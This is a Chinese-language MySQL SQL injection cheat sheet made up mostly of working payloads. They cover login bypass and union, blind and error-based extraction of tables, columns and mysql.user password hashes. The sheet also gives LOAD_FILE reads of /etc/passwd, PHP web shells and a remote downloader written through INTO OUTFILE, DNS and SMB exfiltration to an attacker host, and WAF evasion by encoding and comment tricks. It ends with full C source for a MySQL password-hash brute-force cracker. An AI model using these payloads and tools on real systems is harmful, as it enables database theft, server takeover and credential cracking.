**MySQL**

**一、默认数据库**

|  |  |
| --- | --- |
| 数据库系统 | 需要root特权 |
| 信息模式 | 可从版本5或更高版本获得 |

1. **测试注入**

False表示查询无效(MySQL错误/网站内容缺失)

True表示查询有效(内容照常显示)

**1、字符串：**

给定查询SELECT \* FROM Table WHERE id = '1';

|  |  |
| --- | --- |
| ' | False |
| '' | True |
| " | False |
| "" | True |
| \ | False |
| \\ | True |

例子：SELECT \* FROM Articles WHERE id = '1**''**';

SELECT 1 FROM dual WHERE 1 = '1**'''''''''''''UNION SELECT '2**';注释：可以使用任意数量的撇号和引号，只要它们成对使用即可；

也可以在引号之后继续语句；

引号转义引号。

**2、数字：**

给定查询SELECT \* FROM Table WHERE id = 1;

|  |  |
| --- | --- |
| AND 1 | True |
| AND 0 | False |
| AND true | True |
| AND false | False |
| 1-false | Returns 1 if vulnerable |
| 1-true | Returns 0 if vulnerable |
| 1\*56 | Returns 56 if vulnerable |
| 1\*56 | Returns 1 if not vulnerable |

例子：SELECT \* FROM Users WHERE id = 3**-2**;

注释：true等于1；false等于0。

**3、登陆：**

给定查询SELECT \* FROM Table WHERE username = ";

|  |
| --- |
| ' OR '1 |
| ' OR 1 -- - |
| " OR "" = " |
| " OR 1 = 1 -- - |
| '=' |
| 'LIKE' |
| '=0--+ |

例子：SELECT \* FROM Users WHERE username =

'Mike' AND password = '**' OR '' = '**';

1. **注释掉查询**

可以用下面的语句来注释你的查询:

|  |  |
| --- | --- |
| # | Hash comment（哈希的评论） |
| /\* | C-style comment（c风格的评论） |
| -- - | SQL comment（SQL注释） |
| ;%00 | Nullbyte（空字节） |
| ` | Backtick（反引号） |

例子：

SELECT \* FROM Users WHERE username = '' OR 1=1 **-- -**' AND password = '';

SELECT \* FROM Users WHERE id = '' UNION SELECT 1, 2, 3**`**';

注释：反号只能在用作别名时用于结束查询。

**四、测试版本**

**1、变量：**VERSION()

@@VERSION

@@GLOBAL.VERSION

例子：SELECT \* FROM Users WHERE id = '1' AND MID(**VERSION()**,1,1) = '5';

注释：如果DBMS运行在基于Windows的机器上，输出将包含-nt-log。

**2、具体代码：**/\*!VERSION Specific Code\*/

例子：给定查询 SELECT \* FROM Users limit 1,{INJECTION POINT};

|  |  |
| --- | --- |
| 1 **/\*!50094eaea\*/**; | False - 版本等于或大于5.00.94 |
| 1 **/\*!50096eaea\*/**; | True -版本小于5.00.96 |
| 1 **/\*!50095eaea\*/**; | False - version等于5.00.95 |

注释：在由于注入位置而无法向查询添加更多SQL的情况下，这对于确定版本非常有用。  
有关特定于mysql的代码的更多信息，请参阅特定于mysql的代码。

**五、数据库认证**

|  |  |
| --- | --- |
| 表 | Mysql.user |
| 返回引用的列 | user, password |
| 当前用户 | user(), current\_user(), current\_user, system\_user(), session\_user() |

例子：SELECT **current\_user**;

SELECT CONCAT\_WS(0x3A, **user**, **password**) FROM **mysql.user** WHERE user = 'root'-- (Privileged)

**六、数据库名称**

|  |  |
| --- | --- |
| 表 | information\_schema.schemata, mysql.db |
| 返回引用的列 | schema\_name, db |
| 当前数据库 | database(), schema() |

例子： SELECT **database()**;

SELECT **schema\_name** FROM **information\_schema.schemata**;

SELECT DISTINCT(**db**) FROM **mysql.db**;-- (特权)

**七、主机名**

@@HOSTNAME

例子：SELECT **@@hostname**;

**八、服务器MAC地址**

通用唯一标识符是一个128位的数字，最后12位数字由接口MAC地址组成。

|  |  |
| --- | --- |
| UUID（） | 通用唯一标识符 |

输出：aaaaaaaa-bbbb-cccc-dddd-**eeeeeeeeeeee**;

注释：在某些操作系统上，可能会返回一个48位随机字符串，而不是MAC地址。

**九、表和列**

**1、确定列数**

|  |  |
| --- | --- |
| 命令/分组 | |
|  | GROUP/ORDER BY n+1; |
| 注释 | 继续增加这个数字，直到得到一个错误的响应。 尽管GROUP BY和ORDER BY在SQL中具有不同的功能，但它们都可以以完全相同的方式用于确定查询中的列数。 |
| 例子 | 给定查询SELECT username, password, permission FROM Users WHERE id = '{INJECTION POINT}';   |  |  | | --- | --- | | 1' ORDER BY 1--+ | True | | 1' ORDER BY 2--+ | True | | 1' ORDER BY 3--+ | True | | 1' ORDER BY 4--+ | False - 查询只使用3列 | | -1' UNION SELECT 1,2,3--+ | True | |

错误1：

|  |  |
| --- | --- |
|  | GROUP/ORDER BY 1,2,3,4,5... |
| 注释 | 与前面的方法类似，如果启用了错误显示，我们可以检查带有一个请求的列数。 |
| 例子 | 给定查询SELECT username, password, permission FROM Users WHERE id = '{INJECTION POINT}’   |  |  | | --- | --- | | 1' GROUP BY 1,2,3,4,5--+ | “组语句”中的未知列“4” | | 1' ORDER BY 1,2,3,4,5--+ | “order子句”中的未知列“4” | |

错误2：

|  |  |
| --- | --- |
|  | SELECT ... INTO var\_list, var\_list1, var\_list2... |
| 注释 | 如果启用错误显示，则此方法有效。 当注入点位于LIMIT子句之后时，这对于查找列数很有用。 |
| 例子1 | 给定查询SELECT permission FROM Users WHERE id = {INJECTION POINT};   |  |  | | --- | --- | | -1 UNION SELECT 1 INTO @,@,@ | 使用的SELECT语句有不同数量的列 | | -1 UNION SELECT 1 INTO @,@ | 使用的SELECT语句有不同数量的列 | | -1 UNION SELECT 1 INTO @ | 没有错误意味着查询使用1列 | |
| 例子2 | 给定查询SELECT username, permission FROM Users limit 1,{INJECTION POINT};   |  |  | | --- | --- | | 1 INTO @,@,@ | 使用的SELECT语句有不同数量的列 | | 1 INTO @,@ | 没有错误意味着查询使用2列 | |

错误3：

|  |  |
| --- | --- |
|  | AND (SELECT \* FROM SOME\_EXISTING\_TABLE) = 1 |
| 注释 | 如果知道要查找的表名，并且启用了错误显示，则可以使用此方法。 它将返回表中的列数，而不是查询。 |
| 例子 | 给定查询SELECT permission FROM Users WHERE id = {INJECTION POINT};     |  |  | | --- | --- | | 1 AND (SELECT \* FROM Users) = 1 | 操作数应该包含3列 | |

**2、检索表**

|  |  |
| --- | --- |
| Union | UNION SELECT GROUP\_CONCAT(table\_name) FROM information\_schema.tables WHERE version=10; |
| Blind | AND SELECT SUBSTR(table\_name,1,1) FROM information\_schema.tables > 'A' |
| Error | |  | | --- | | AND(SELECT COUNT(\*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table\_name FROM information\_schema.tables LIMIT 1),FLOOR(RAND(0)\*2))) | | (@:=1)||@ GROUP BY CONCAT((SELECT table\_name FROM information\_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0); | | AND ExtractValue(1, CONCAT(0x5c, (SELECT table\_name FROM information\_schema.tables LIMIT 1)));-- Available in 5.1.5 | |

注释：*version=10 for MySQL 5*

**3、检索列**

|  |  |
| --- | --- |
| Union | UNION SELECT GROUP\_CONCAT(column\_name) FROM information\_schema.columns  WHERE table\_name = 'tablename' |
| Blind | AND SELECT SUBSTR(column\_name,1,1) FROM information\_schema.columns > 'A' |
| Error | |  | | --- | | AND(SELECT COUNT(\*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column\_name FROM information\_schema.columns LIMIT 1),FLOOR(RAND(0)\*2))) | | (@:=1)||@ GROUP BY CONCAT((SELECT column\_name FROM information\_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0); | | AND ExtractValue(1, CONCAT(0x5c, (SELECT column\_name FROM information\_schema.columns LIMIT 1)));-- Available in MySQL 5.1.5 | | AND (1,2,3) = (SELECT \* FROM SOME\_EXISTING\_TABLE UNION SELECT 1,2,3 LIMIT 1)-- Fixed in MySQL 5.1 | | AND (SELECT \* FROM (SELECT \* FROM SOME\_EXISTING\_TABLE JOIN SOME\_EXISTING\_TABLE b) a) | | AND (SELECT \* FROM (SELECT \* FROM SOME\_EXISTING\_TABLE JOIN SOME\_EXISTING\_TABLE b USING (SOME\_EXISTING\_COLUMN)) a) | |

|  |  |
| --- | --- |
| PROCEDURE ANALYSE()函数 | |
|  | PROCEDURE ANALYSE() |
| 注释 | web应用程序需要在注入的SQL查询中显示选中的列之一。 |
| 例子 | 例子：给定查询SELECT username, permission FROM Users WHERE id = 1;   |  |  | | --- | --- | | 1 PROCEDURE ANALYSE() | 获取第一列的名称 | | 1 LIMIT 1,1 PROCEDURE ANALYSE() | 获取第二列的名称 | | 1 LIMIT 2,1 PROCEDURE ANALYSE() | 获取第三列的名称 | |

**4、检索多个表/列一次**

SELECT (@) FROM (SELECT(@:=0x00),

(SELECT (@) FROM (information\_schema.columns) WHERE

(table\_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table\_schema,' ] >',table\_name,' > ',column\_name))))x

例子1：

SELECT \* FROM Users WHERE id = '-1' UNION SELECT 1, 2,

**(SELECT (@) FROM (SELECT(@:=0x00),**

**(SELECT (@) FROM (information\_schema.columns) WHERE (table\_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table\_schema,' ] >',table\_name,' > ',column\_name))))x)**, 4--+';

输出：

[ information\_schema ] >CHARACTER\_SETS > CHARACTER\_SET\_NAME

[ information\_schema ] >CHARACTER\_SETS > DEFAULT\_COLLATE\_NAME

[ information\_schema ] >CHARACTER\_SETS > DESCRIPTION

[ information\_schema ] >CHARACTER\_SETS > MAXLEN

[ information\_schema ] >COLLATIONS > COLLATION\_NAME

[ information\_schema ] >COLLATIONS > CHARACTER\_SET\_NAME

[ information\_schema ] >COLLATIONS > ID

[ information\_schema ] >COLLATIONS > IS\_DEFAULT

[ information\_schema ] >COLLATIONS > IS\_COMPILED

例子2：

SELECT username FROM Users WHERE id = '-1' UNION SELECT **MID(GROUP\_CONCAT(0x3c62723e, 0x5461626c653a20, table\_name, 0x3c62723e, 0x436f6c756d6e3a20, column\_name ORDER BY (SELECT version FROM information\_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information\_schema.columns**--+';

输出：

表: talk\_revisions

列: revid

表: talk\_revisions

列: 户名

表: talk\_revisions

列: 用户

表: talk\_projects

列: 优先级

**5、从列名中查找表**

|  |  |
| --- | --- |
| SELECT table\_name FROM information\_schema.columns WHERE column\_name = 'username'; | 查找名为username的任何列的表名。 |
| SELECT table\_name FROM information\_schema.columns WHERE column\_name LIKE '%user%'; | 查找包含单词user的任何列的表名。 |

**6、从表名中查找列**

|  |  |
| --- | --- |
| SELECT column\_name FROM information\_schema.columns WHERE table\_name = 'Users'; | 查找Users表的列。 |
| SELECT column\_name FROM information\_schema.columns WHERE table\_name LIKE '%user%'; | 查找包含单词user的任何表的列名。 |

**7、查找当前查询**

|  |  |
| --- | --- |
| SELECT info FROM information\_schema.processlist | 从MySQL 5.1.7开始可用。 |

**十、避免使用引文**

|  |  |
| --- | --- |
| SELECT \* FROM Users WHERE username = 0x61646D696E | 十六进制编码 |
| SELECT \* FROM Users WHERE username = CHAR(97, 100, 109, 105, 110) | CHAR()函数。 |

**十一、字符串连接**

|  |
| --- |
| SELECT 'a' 'd' 'mi' 'n'; |
| SELECT CONCAT('a', 'd', 'm', 'i', 'n'); |
| SELECT CONCAT\_WS('', 'a', 'd', 'm', 'i', 'n'); |
| SELECT GROUP\_CONCAT('a', 'd', 'm', 'i', 'n'); |

注释：如果CONCAT()的任何参数为空，则返回NULL。而不是使用CONCAT\_WS ()。CONCAT\_WS()的第一个参数为其其余参数定义分隔符。

**十二、条件语句**

|  |
| --- |
| CASE |
| IF() |
| IFNULL() |
| NULLIF() |

例子：SELECT **IF(**1=1, true, false**)**;

SELECT **CASE WHEN** 1=1 **THEN** true **ELSE** false **END**;

1. **时序**

|  |  |
| --- | --- |
| SLEEP() | MySQL 5 |
| BENCHMARK() | MySQL 4/5 |

例子：' - (IF(MID(version(),1,1) LIKE 5, **BENCHMARK(100000,SHA1('true'))**, false)) - '

1. **权限**

**文件权限**

以下查询可以帮助确定给定用户的文件特权：

|  |  |  |
| --- | --- | --- |
| SELECT file\_priv FROM mysql.user WHERE user = 'username'; | 根权限要求 | MySQL 4/5 |
| SELECT grantee, is\_grantable FROM information\_schema.user\_privileges WHERE privilege\_type = 'file' AND grantee like '%username%'; | 不需要权限 | MySQL 5 |

1. **文件读取**

如果用户具有文件特权，则可以读取文件。

|  |  |
| --- | --- |
| * LOAD\_FILE()函数 | |
| 例子 | * SELECT **LOAD\_FILE(**'/etc/passwd'**)**; * SELECT **LOAD\_FILE(**0x2F6574632F706173737764**)**; |
| 注释 | 文件必须位于服务器主机上。 LOAD\_FILE()的基目录是@@datadir。 该文件必须是MySQL用户可读的。 文件大小必须小于max\_allowed\_packet。 @@max\_allowed\_packet的默认大小为1047552字节。 |

1. **写文件**

如果用户具有文件特权，可以创建文件。

例子：

要编写PHP shell:

SELECT '<? system($\_GET[\'c\']); ?>' **INTO OUTFILE**'/var/www/shell.php';

然后访问：

<http://localhost/shell.php?c=cat%20/etc/passwd>

要编写下载程序:

SELECT '<?fwrite(fopen($\_GET[f], \'w\'), file\_get\_contents($\_GET[u])); ?>' **INTO OUTFILE**'/var/www/get.php'

然后访问：

[http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt](http://localhost/get.php?f=shell.php&u=http:/localhost/c99.txt)

注释：文件不能用INTO OUTFILE覆盖；  
INTO OUTFILE必须是查询中的最后一条语句；  
没有方法对路径名进行编码，因此需要引号。

**十七、带外信道**

**1、DNS请求**

|  |
| --- |
| SELECT LOAD\_FILE(CONCAT('\\\\foo.',(select MID(version(),1,1)),'.attacker.com\\')); |

1. **SMB请求**

|  |
| --- |
| ' OR 1=1 INTO OUTFILE '\\\\attacker\\SMBshare\\output.txt |

**十八、堆叠查询**

使用MySQL可以进行堆叠查询，这取决于PHP应用程序使用哪个驱动程序与数据库通信。PDO\_MYSQL驱动程序支持堆栈查询。MySQLi(改进的扩展)驱动程序还通过multi\_query()函数支持堆栈查询。

例子：

SELECT \* FROM Users WHERE ID=1 AND 1=0**;** INSERT INTO Users(username, password, priv) VALUES ('BobbyTables', 'kl20da$$','admin');

SELECT \* FROM Users WHERE ID=1 AND 1=0**;** SHOW COLUMNS FROM Users;

**十九、MySQL代码**

MySQL允许在感叹号后面指定版本号。只有当版本大于或等于指定的版本号时，才会执行注释中的语法。

例子：

UNION SELECT **/\*!50000** 5,null;%00**\*//\*!40000** 4,null-- ,**\*//\*!30000**3,null-- x**\*/**0,null--+

SELECT 1**/\*!41320**UNION**/\*!/\*!/\*!00000**SELECT**/\*!/\*!**USER**/\*!**(**/\*!/\*!/\*!\*/**);

注释：第一个示例返回版本;它使用一个包含2列的UNION。

第二个示例演示了这对于绕过WAF/IDS是多么有用。

**二十、模糊测试与混淆**

**1、允许中介角色**

以下字符可以用作空格：

|  |  |
| --- | --- |
| 0A | 换行 |
| 0B | 纵向制表 |
| 0C | 新页 |
| 0D | 回车 |
| A0 | 插入空格 |
| 20 | 空格 |

例子：'**%0A%09**UNION**%0C**SELECT**%A0**NULL**%20**%23

括号也可以用来避免使用空格：

|  |  |
| --- | --- |
| 28 | ( |
| 29 | ) |

例子：UNION**(**SELECT**(**column**)**FROM**(**table**))**

**2、允许在AND/OR之后使用中间字符**

|  |  |
| --- | --- |
| 20 | Space |
| 2B | + |
| 2D | - |
| 7E | ~ |
| 21 | ! |
| 40 | @ |

例子：SELECT 1 FROM dual WHERE 1=1 AND**-+-+-+-+~~**((1))

注释：对偶表是一种可用于测试的虚拟表

1. **混淆注释**

注释可以用来分解查询来欺骗WAF/ id并避免检测。通过使用#或——后面跟着一个换行符，我们可以将查询分割成不同的行。

例子：

1'**#**   
AND 0**--**   
UNION**# I am a comment!**   
SELECT@tmp:=table\_name x FROM**--**   
`information\_schema`.tables LIMIT 1**#**

URL编码的注入:

1'**%23%0A**AND 0**--%0A**UNION**%23 I am a comment!%0A**SELECT@tmp:=table\_name x FROM**--%0A**`information\_schema`.tables LIMIT 1**%23**

某些函数也可以用注释和空格混淆，例如：

VERSION**/\*\*/%A0** (**/\*comment\*/**)

1. **编码**

有时，对注入进行编码对于WAF/IDS规避是有用的。

|  |  |
| --- | --- |
| URL编码 | SELECT %74able\_%6eame FROM information\_schema.tables; |
| 双URL编码 | SELECT %2574able\_%256eame FROM information\_schema.tables; |
| 代码编码 | SELECT %u0074able\_%u6eame FROM information\_schema.tables; |
| 无效十六进制编码  (ASP) | SELECT %tab%le\_%na%me FROM information\_schema.tables; |

1. **避免关键字**

如果IDS/WAF阻塞了某些关键字，那么还有其他方法可以绕过它而不使用编码：

information\_schema.tables

|  |  |
| --- | --- |
| 共享空间 | information\_schema . tables |
| 倒引号 | `information\_schema`.`tables` |
| 特定码 | /\*!information\_schema.tables\*/ |
| 备用名称 | information\_schema.partitions  information\_schema.statistics  information\_schema.key\_column\_usage  information\_schema.table\_constraints |

注释：备用名称可能取决于表中存在的主键

**二十一、操作符**

|  |  |
| --- | --- |
| [AND , &&](http://dev.mysql.com/doc/refman/5.6/en/logical-operators.html" \l "operator_and" \t "https://websec.ca/kb/_blank) | 逻辑与 |
| [=](http://dev.mysql.com/doc/refman/5.6/en/assignment-operators.html" \l "operator_assign-equal" \t "https://websec.ca/kb/_blank) | 赋值(作为SET语句的一部分，或UPDATE语句中的SET子句的一部分) |
| [:=](http://dev.mysql.com/doc/refman/5.6/en/assignment-operators.html" \l "operator_assign-value" \t "https://websec.ca/kb/_blank) | 赋值 |
| [BETWEEN ... AND ...](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html" \l "operator_between" \t "https://websec.ca/kb/_blank) | 检查值是否在值的范围内 |
| [BINARY](http://dev.mysql.com/doc/refman/5.6/en/cast-functions.html" \l "operator_binary" \t "https://websec.ca/kb/_blank) | 将字符串转换为二进制字符串 |
| [&](http://dev.mysql.com/doc/refman/5.6/en/bit-functions.html" \l "operator_bitwise-and" \t "https://websec.ca/kb/_blank) | 位和 |
| [~](http://dev.mysql.com/doc/refman/5.6/en/bit-functions.html" \l "operator_bitwise-invert" \t "https://websec.ca/kb/_blank) | 位反转 |
| [|](http://dev.mysql.com/doc/refman/5.6/en/bit-functions.html" \l "operator_bitwise-or" \t "https://websec.ca/kb/_blank) | 按位或 |
| [^](http://dev.mysql.com/doc/refman/5.6/en/bit-functions.html" \l "operator_bitwise-xor" \t "https://websec.ca/kb/_blank) | 按位异或 |
| [CASE](http://dev.mysql.com/doc/refman/5.6/en/control-flow-functions.html" \l "operator_case" \t "https://websec.ca/kb/_blank) | 事例运算符 |
| [DIV](http://dev.mysql.com/doc/refman/5.6/en/arithmetic-functions.html" \l "operator_div" \t "https://websec.ca/kb/_blank) | 整数除法 |
| [/](http://dev.mysql.com/doc/refman/5.6/en/arithmetic-functions.html" \l "operator_divide" \t "https://websec.ca/kb/_blank) | 除法运算符 |
| [<=>](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html" \l "operator_equal-to" \t "https://websec.ca/kb/_blank) | NULL-safe equal to operator |
| [=](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html" \l "operator_equal" \t "https://websec.ca/kb/_blank) | 相等操作符 |
| [>=](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html" \l "operator_greater-than-or-equal" \t "https://websec.ca/kb/_blank) | * 大于或等于运算符 |
| [>](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html" \l "operator_greater-than" \t "https://websec.ca/kb/_blank) | 大于运算符 |
| [IS NOT NULL](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html" \l "operator_is-not-null" \t "https://websec.ca/kb/_blank) | 非空值检验 |
| [IS NOT](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html" \l "operator_is-not" \t "https://websec.ca/kb/_blank) | 根据布尔值测试值 |
| [IS NULL](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html" \l "operator_is-null" \t "https://websec.ca/kb/_blank) | NULL值测试 |
| [IS](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html" \l "operator_is" \t "https://websec.ca/kb/_blank) | 根据布尔值测试值 |
| [<<](http://dev.mysql.com/doc/refman/5.6/en/bit-functions.html" \l "operator_left-shift" \t "https://websec.ca/kb/_blank) | 向左移 |
| [<=](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html" \l "operator_less-than-or-equal" \t "https://websec.ca/kb/_blank) | 小于或等于操作符 |
| [<](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html" \l "operator_less-than" \t "https://websec.ca/kb/_blank) | 小于操作符 |
| [LIKE](http://dev.mysql.com/doc/refman/5.6/en/string-comparison-functions.html" \l "operator_like" \t "https://websec.ca/kb/_blank) | 简单的模式匹配 |
| [-](http://dev.mysql.com/doc/refman/5.6/en/arithmetic-functions.html" \l "operator_minus" \t "https://websec.ca/kb/_blank) | * 负运算 |
| [% or MOD](http://dev.mysql.com/doc/refman/5.6/en/arithmetic-functions.html" \l "operator_mod" \t "https://websec.ca/kb/_blank) | * 模运算符 |
| [NOT BETWEEN ... AND ...](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html" \l "operator_not-between" \t "https://websec.ca/kb/_blank) | 检查值是否不在值的范围内 |
| [!= , <>](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html" \l "operator_not-equal" \t "https://websec.ca/kb/_blank) | * 不等于操作符 |
| [NOT LIKE](http://dev.mysql.com/doc/refman/5.6/en/string-comparison-functions.html" \l "operator_not-like" \t "https://websec.ca/kb/_blank) | 否定简单模式匹配 |
| [NOT REGEXP](http://dev.mysql.com/doc/refman/5.6/en/regexp.html" \l "operator_not-regexp" \t "https://websec.ca/kb/_blank) | 否定的REGEXP |
| [NOT , !](http://dev.mysql.com/doc/refman/5.6/en/logical-operators.html" \l "operator_not" \t "https://websec.ca/kb/_blank) | 否定值 |
| [|| , OR](http://dev.mysql.com/doc/refman/5.6/en/logical-operators.html" \l "operator_or" \t "https://websec.ca/kb/_blank) | 逻辑或 |
| [+](http://dev.mysql.com/doc/refman/5.6/en/arithmetic-functions.html" \l "operator_plus" \t "https://websec.ca/kb/_blank) | 加法运算符 |
| [REGEXP](http://dev.mysql.com/doc/refman/5.6/en/regexp.html" \l "operator_regexp" \t "https://websec.ca/kb/_blank) | 使用正则表达式进行模式匹配 |
| [>>](http://dev.mysql.com/doc/refman/5.6/en/bit-functions.html" \l "operator_right-shift" \t "https://websec.ca/kb/_blank) | 右移 |
| [RLIKE](http://dev.mysql.com/doc/refman/5.6/en/regexp.html" \l "operator_regexp" \t "https://websec.ca/kb/_blank) | REGEXP的同义词 |
| [SOUNDS LIKE](http://dev.mysql.com/doc/refman/5.6/en/string-functions.html" \l "operator_sounds-like" \t "https://websec.ca/kb/_blank) | 作比较 |
| [\*](http://dev.mysql.com/doc/refman/5.6/en/arithmetic-functions.html" \l "operator_times" \t "https://websec.ca/kb/_blank) | 乘法运算符 |
| [-](http://dev.mysql.com/doc/refman/5.6/en/arithmetic-functions.html" \l "operator_unary-minus" \t "https://websec.ca/kb/_blank) | 改变参数的符号 |
| [XOR](http://dev.mysql.com/doc/refman/5.6/en/logical-operators.html" \l "operator_xor" \t "https://websec.ca/kb/_blank) | 逻辑异或 |

**二十二、常量**

|  |
| --- |
| current\_user |
| null, \N |
| true, false |

**二十三、哈希密码**

在MySQL 4.1之前，password()函数计算的密码散列长度为16字节。这样的哈希是这样的:

|  |  |
| --- | --- |
| PASSWORD('mypass') | 6f8c114b58f2ce9e |

从MySQL 4.1开始，PASSWORD()函数被修改为一个更长的41字节哈希值:

|  |  |
| --- | --- |
| PASSWORD('mypass') | \*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |

**二十四、密码破解**

凯恩和亚伯以及开膛手约翰都能破解MySQL 3.x-6。x的密码。

这里可以找到一个用于JTR的Metasploit模块。

**MySQL < 4.1密码破解器**

这个工具是一个高速蛮力密码破解MySQL哈希密码。在普通PC上，它可以在数小时内破解包含任何可打印ASCII字符的8个字符的密码。

/\*这个程序是公共领域。分享和享受。

Example:

\* $ gcc -O2 -fomit-frame-pointer MySQLfast.c -o MySQLfast

\* $ MySQLfast 6294b50f67eda209

\* Hash: 6294b50f67eda209

\* Trying length 3

\* Trying length 4

\* Found pass: barf

\*

\* The MySQL password hash function could be strengthened considerably

\* by:

\* - making two passes over the password

\* - using a bitwise rotate instead of a left shift

\* - causing more arithmetic overflows

\*/

#include <stdio.h>

typedef unsigned long u32;

/\* Allowable characters in password; 33-126 is printable ascii \*/

#define MIN\_CHAR 33

#define MAX\_CHAR 126

/\* Maximum length of password \*/

#define MAX\_LEN 12

#define MASK 0x7fffffffL

int crack0(int stop, u32 targ1, u32 targ2, int \*pass\_ary)

{

int i, c;

u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;

u32 newstate1, newstate2, newstate3;

u32 state1\_ary[MAX\_LEN-2], state2\_ary[MAX\_LEN-2];

u32 xor\_ary[MAX\_LEN-3], step\_ary[MAX\_LEN-3];

i = -1;

sum = 7;

state1\_ary[0] = 1345345333L;

state2\_ary[0] = 0x12345671L;

while (1) {

while (i < stop) {

i++;

pass\_ary[i] = MIN\_CHAR;

step\_ary[i] = (state1\_ary[i] & 0x3f) + sum;

xor\_ary[i] = step\_ary[i]\*MIN\_CHAR + (state1\_ary[i] << 8);

sum += MIN\_CHAR;

state1\_ary[i+1] = state1\_ary[i] ^ xor\_ary[i];

state2\_ary[i+1] = state2\_ary[i]

+ ((state2\_ary[i] << 8) ^ state1\_ary[i+1]);

}

state1 = state1\_ary[i+1];

state2 = state2\_ary[i+1];

step = (state1 & 0x3f) + sum;

xor1 = step\*MIN\_CHAR + (state1 << 8);

xor2 = (state2 << 8) ^ state1;

for (c = MIN\_CHAR; c <= MAX\_CHAR; c++, xor1 += step) {

newstate2 = state2 + (xor1 ^ xor2);

newstate1 = state1 ^ xor1;

newstate3 = (targ2 - newstate2) ^ (newstate2 << 8);

div = (newstate1 & 0x3f) + sum + c;

diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK;

if (diff % div != 0) continue;

d = diff / div;

if (d < MIN\_CHAR || d > MAX\_CHAR) continue;

div = (newstate3 & 0x3f) + sum + c + d;

diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK;

if (diff % div != 0) continue;

e = diff / div;

if (e < MIN\_CHAR || e > MAX\_CHAR) continue;

pass\_ary[i+1] = c;

pass\_ary[i+2] = d;

pass\_ary[i+3] = e;

return 1;

}

while (i >= 0 && pass\_ary[i] >= MAX\_CHAR) {

sum -= MAX\_CHAR;

i--;

}

if (i < 0) break;

pass\_ary[i]++;

xor\_ary[i] += step\_ary[i];

sum++;

state1\_ary[i+1] = state1\_ary[i] ^ xor\_ary[i];

state2\_ary[i+1] = state2\_ary[i]

+ ((state2\_ary[i] << 8) ^ state1\_ary[i+1]);

}

return 0;

}

void crack(char \*hash)

{

int i, len;

u32 targ1, targ2, targ3;

int pass[MAX\_LEN];

if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) {

printf("Invalid password hash: %s\n", hash);

return;

}

printf("Hash: %08lx%08lx\n", targ1, targ2);

targ3 = targ2 - targ1;

targ3 = targ2 - ((targ3 << 8) ^ targ1);

targ3 = targ2 - ((targ3 << 8) ^ targ1);

targ3 = targ2 - ((targ3 << 8) ^ targ1);

for (len = 3; len <= MAX\_LEN; len++) {

printf("Trying length %d\n", len);

if ( crack0(len-4, targ1, targ3, pass) ) {

printf("Found pass: ");

for (i = 0; i < len; i++)

putchar(pass[i]);

putchar('\n');

break;

}

}

if (len > MAX\_LEN)

printf("Pass not found\n");

}

int main(int argc, char \*argv[])

{

int i;

if (argc <= 1)

printf("usage: %s hash\n", argv[0]);

for (i = 1; i < argc; i++)

crack(argv[i]);

return 0;

}